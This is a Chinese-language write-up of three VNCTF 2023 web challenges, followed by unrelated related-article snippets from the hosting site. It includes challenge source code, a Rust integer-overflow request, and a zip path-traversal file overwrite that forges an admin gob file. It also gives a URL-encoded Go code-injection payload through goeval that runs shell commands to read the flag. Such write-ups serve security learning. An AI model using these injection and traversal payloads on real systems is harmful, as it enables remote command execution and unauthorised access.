[VNCTF 2023] web刷题记录

文章目录

    • 象棋王子
    • 电子木鱼
    • BabyGo


象棋王子

考点:前端js代码审计

直接查看js源码,搜一下alert
在这里插入图片描述丢到控制台即可
在这里插入图片描述

电子木鱼

考点:整数溢出

main.rs我们分段分析

首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。
然后就是定义了不同结构体并且自动生成了序列化

#[derive(Serialize)]
struct APIResult {success: bool,message: &'static str,
}#[derive(Deserialize)]
struct Info {name: String,quantity: i32,
}#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {name: &'static str,cost: i32,
}

给了payload列表

const PAYLOADS: &[Payload] = &[Payload {name: "Cost",cost: 10,},Payload {name: "Loan",cost: -1_000,},Payload {name: "CCCCCost",cost: 500,},Payload {name: "Donate",cost: 1,},Payload {name: "Sleep",cost: 0,},
];

然后看向/路由

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {let mut context = Context::new();context.insert("gongde", &GONGDE.get());if GONGDE.get() > 1_000_000_000 {context.insert("flag",&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),);}match tera.render("index.html", &context) {Ok(body) => Ok(HttpResponse::Ok().body(body)),Err(err) => Err(error::ErrorInternalServerError(err)),}
}

在函数内部,首先创建了一个Context对象。然后通过context.insert("gongde",&GONGDE.get())将名为"gongde"的变量插入到上下文中,其值使用了一个全局变量GONGDE的get()方法来获取。接下来,通过判断GONGDE.get()的值是否大于1,000,000,000,如果是则返回flag

最后分析/upgrade路由

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {if GONGDE.get() < 0 {return web::Json(APIResult {success: false,message: "功德都搞成负数了,佛祖对你很失望",});}if body.quantity <= 0 {return web::Json(APIResult {success: false,message: "佛祖面前都敢作弊,真不怕遭报应啊",});}if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {let mut cost = payload.cost;if payload.name == "Donate" || payload.name == "Cost" {cost *= body.quantity;}if GONGDE.get() < cost as i32 {return web::Json(APIResult {success: false,message: "功德不足",});}if cost != 0 {GONGDE.set(GONGDE.get() - cost as i32);}if payload.name == "Cost" {return web::Json(APIResult {success: true,message: "小扣一手功德",});} else if payload.name == "CCCCCost" {return web::Json(APIResult {success: true,message: "功德都快扣没了,怎么睡得着的",});} else if payload.name == "Loan" {return web::Json(APIResult {success: true,message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",});} else if payload.name == "Donate" {return web::Json(APIResult {success: true,message: "好人有好报",});} else if payload.name == "Sleep" {return web::Json(APIResult {success: true,message: "这是什么?床,睡一下",});}}web::Json(APIResult {success: false,message: "禁止开摆",})
}

POST接收info结构体的参数进行解析,然后返回json格式的APIResult类型的值;然后判断GONGDE.get() 的值是否小于0,POST请求参数quantity值是否小于等于0,如果name的值等于Donate或者Cost,进行自乘;如果大于i32则会造成整数溢出

i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数,可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。

name=Loan&quantity=11451411

在这里插入图片描述发现成功加了1000功德
然后修改name为Cost

在这里插入图片描述得到flag

在这里插入图片描述

BabyGo

考点:文件覆盖、go沙箱逃逸

源码如下

package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name  stringPath  stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}

分析一下

  1. /路由下定义了userDir为/tmp/xxx/,然后将该值赋值给session的键名shallow,接着创建目录读取user.gob并且创建user对象,具有三个属性。最后创建了一个新的Gob编码器encoder,并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法,user对象的值将被序列化并写入文件中
  2. /upload路由就是简单的文件上传功能,限制了上传文件类型不能为go和gob
  3. /unzip路由定义userUploadDir为session的shallow值拼接上uploads/,然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压
  4. /backdoor路由读取user.gob文件内容,判断是否为admin,如果是则返回good

整体思路:我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob,使得身份为admin;然后利用/backdoor的eval实现命令执行

我们已经知道user.gob的生成方式
在这里插入图片描述
那么我们创建user.go,内容如下

package mainimport ("encoding/gob""os"
)type User struct {Name  stringPath  stringPower string
}func main() {gobFile, _ := os.Create("user.gob")user := User{Name: "ctfer", Path: "/tmp/4f0436fe5585d82af7c4545984d58188/", Power: "admin"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)
}

go run一下,得到user.gob
然后丢到linux里压缩成zip
在这里插入图片描述
上传文件后,访问/unzip去解压到对应路径
在这里插入图片描述
然后我们访问一下/backdoor,成功覆盖
在这里插入图片描述
接下来就是如何命令执行 参考文章
这里考点是go语言沙箱逃逸
payload

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

在这里插入图片描述
python脚本解一下得到flag

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end="")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/185134.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringMVC多种类型数据响应

SpringMVC多种类型数据响应入门 1.概念 RequestMapping 作用&#xff1a;用于建立请求URL和处理请求方法之间的对应关系 位置&#xff1a; 类上&#xff0c;请求URL的第一级访问目录。此处不写的话&#xff0c;就相当于应用的根目录 方法上&#xff0c;请求URL的第二级访问目…

交叉熵损失函数(Cross-Entropy Loss Function)

交叉熵损失函数&#xff08;Cross-Entropy Loss Function&#xff09; 在处理机器学习或深度学习问题时&#xff0c;损失/成本函数用于在训练期间优化模型。目标几乎总是最小化损失函数。损失越低&#xff0c;模型越好。交叉熵损失是最重要的成本函数。它用于优化分类模型。对…

10.0 输入输出 I/O

IO操作主要是指使用Java程序完成输入&#xff08;Input&#xff09;、输出&#xff08;Output&#xff09;操作。所谓输入是指将文件内容以数据流的形式读取到内存中&#xff0c;输出是指通过Java程序将内存中的数据写入到文件中&#xff0c;输入、输出操作在实际开发中应用较为…

TiDB专题---2、TiDB整体架构和应用场景

上个章节我们讲解了TiDB的发展和特性&#xff0c;这节我们讲下TiDB具体的架构和应用场景。首先我们回顾下TiDB的优势。 TiDB的优势 与传统的单机数据库相比&#xff0c;TiDB 具有以下优势&#xff1a; 纯分布式架构&#xff0c;拥有良好的扩展性&#xff0c;支持弹性的扩缩容…

一、Linux系统概述和安装

目录 1、Linux系统概述 2、Linux发行版介绍 3、虚拟机软件介绍 4、VMware安装 5、Linux系统&#xff08;CentOS&#xff09;系统安装 6、登录并查看IP地址 7、Linux连接工具CRT使用 7.1 概述 7.2 CRT安装 7.3 使用步骤 7.4 文件上传 8、Linux的快照 8.1 作用 8.2…

Go 从编译到执行

一、Go运行编译简介 Go语言&#xff08;也称为Golang&#xff09;自从2009年由Google发布以来&#xff0c;已成为现代软件开发中不可或缺的一部分。设计者Rob Pike, Ken Thompson和Robert Griesemer致力于解决多核处理器、网络系统和大型代码库所引发的现实世界编程问题。我们…

kubeadm快速搭建k8s高可用集群

1.安装及优化 1.1基本环境配置 1.环境介绍 &#xff08;1&#xff09;.高可用集群规划 主机名ip地址说明k8s-master01192.168.2.96master节点k8s-master02192.168.2.97master节点k8s-master03192.168.2.98master节点k8s-node01192.168.2.99node节点k8s-node02192.168.2.100n…

【10张图带你搞清楚生成树协议】

STP协议分类 BPDU&#xff0c;网桥协议数据单元 STP路径开销&#xff0c;以链路带宽为准&#xff0c;两个标准&#xff0c;现在主要以NEW为准 在网络刚开始运行的阶段&#xff0c;所有交换机都会从所有端口发送BPDU&#xff0c;大家都认为自己是root&#xff0c;随着B…

基于YOLOv8深度学习的火焰烟雾检测系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

增强静态数据的安全性

静态数据是数字数据的三种状态之一&#xff0c;它是指任何静止并包含在永久存储设备&#xff08;如硬盘驱动器和磁带&#xff09;或信息库&#xff08;如异地备份、数据库、档案等&#xff09;中的数字信息。 静态数据是指被动存储在数据库、文件服务器、端点、可移动存储设备…

多线程05

前言 前面我们说到了死锁以及线程可见性的问题 我们将线程可见性主要归结于是JVM自身的一个bug 一个线程写一个线程读 会将一直不变的变量优化到直接从寄存器中读取,而不是缓存等读取,因为这样我们就设置了使用volatile关键字使得用到这个变量的时候必须从内存中读取数据 死锁主…

项目终验的exce表格缩放,排版等经常使用

xxx个项目的验收资料 1.申请表等等很多信息 需求&#xff1a;放在一页内等办法 上述文档&#xff0c;在excel表格打印预览中都是在两页中&#xff0c;很难调节&#xff0c;这个时候采用wps专业版本即可。 wps排版经常使用的功能如下&#xff1a; 经常使用的是 1.把所有列打印…

const 和 constexpr 深入学习

在 C 中&#xff0c;const 和 constexpr 都可以用来修饰对象和函数。修饰对象时&#xff0c;const 表示它是常量&#xff0c;而 constexpr 表示它是一个常量表达式。常量表达式必须在编译时期被计算1。修饰函数时&#xff0c;const 只能用于非静态成员的函数&#xff0c;而 con…

WPF窗口样式的比较

WPF窗口样式的比较 1.WPF默认Window窗口 带有图标 标题栏 最小最大化推出按钮 <Window x:Class"GlowWindowDemo.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006…

nginx: [alert] could not open error log file

先把cmd的报错信息粘出来 nginx: [alert] could not open error log file: CreateFile() “logs/error.log” failed (3: The system cannot find the path specified) 2023/11/29 11:27:37 [emerg] 5040#18772: CreateDirectory() “D:\enviroment\nginx-1.24.0\conf/temp/cli…

Linux学习笔记09、Shell命令之历史命令和自动补全

上一篇&#xff1a;Linux学习笔记08、Shell命令之常用命令缩写及全称 目录 1、历史命令&#xff1a; 1.1、查看所有历史命令列表&#xff1a; 1.2、查看指定历史命令&#xff1a; 1.3、清除历史命令&#xff1a; 2、自动补全 2.1、当字符串唯一时&#xff1a; 2.2、当有多个…

力扣题:字符的统计-11.25

力扣题-11.25 [力扣刷题攻略] Re&#xff1a;从零开始的力扣刷题生活 力扣题1&#xff1a;387. 字符串中的第一个唯一字符 解题思想&#xff1a;直接遍历即可 class Solution(object):def firstUniqChar(self, s):""":type s: str:rtype: int""&qu…

机器学习——决策树

1.决策树 2.熵&#xff08;不确定程度&#xff09; 3.信息增益 & 信息增益比 3.1 信息增益 & 信息增益比 的 概念 3.2 案例解释说明 &#xff13;.&#xff12;.&#xff11;数据集说明 &#xff13;.&#xff12;.&#xff12;计算 &#xff14;&#xff0e;&#x…

智能井盖传感器怎么监测井盖出现倾斜?

智能井盖传感器是一种先进的智能设备&#xff0c;能够二十四小时连续监测井盖是否出现倾斜。其工作原理主要是依靠内置的传感器&#xff0c;以及搭载的MEMS“芯”技术。便于智能井盖传感器实时感知到井盖的姿态变化&#xff0c;一旦发现有倾斜的现象&#xff0c;就会立即向运维…

Jmeter之压力测试总结!

一、基本概念 1.线程组N&#xff1a;代表一定数量的并发用户&#xff0c;所谓并发就是指同一时刻访问发送请求的用户。线程组就是模拟并发用户访问。 2.Ramp-Up Period(in seconds)&#xff1a;建立所有线程的周期&#xff0c;就是告诉jmeter要在多久没启动所有线程&#xff…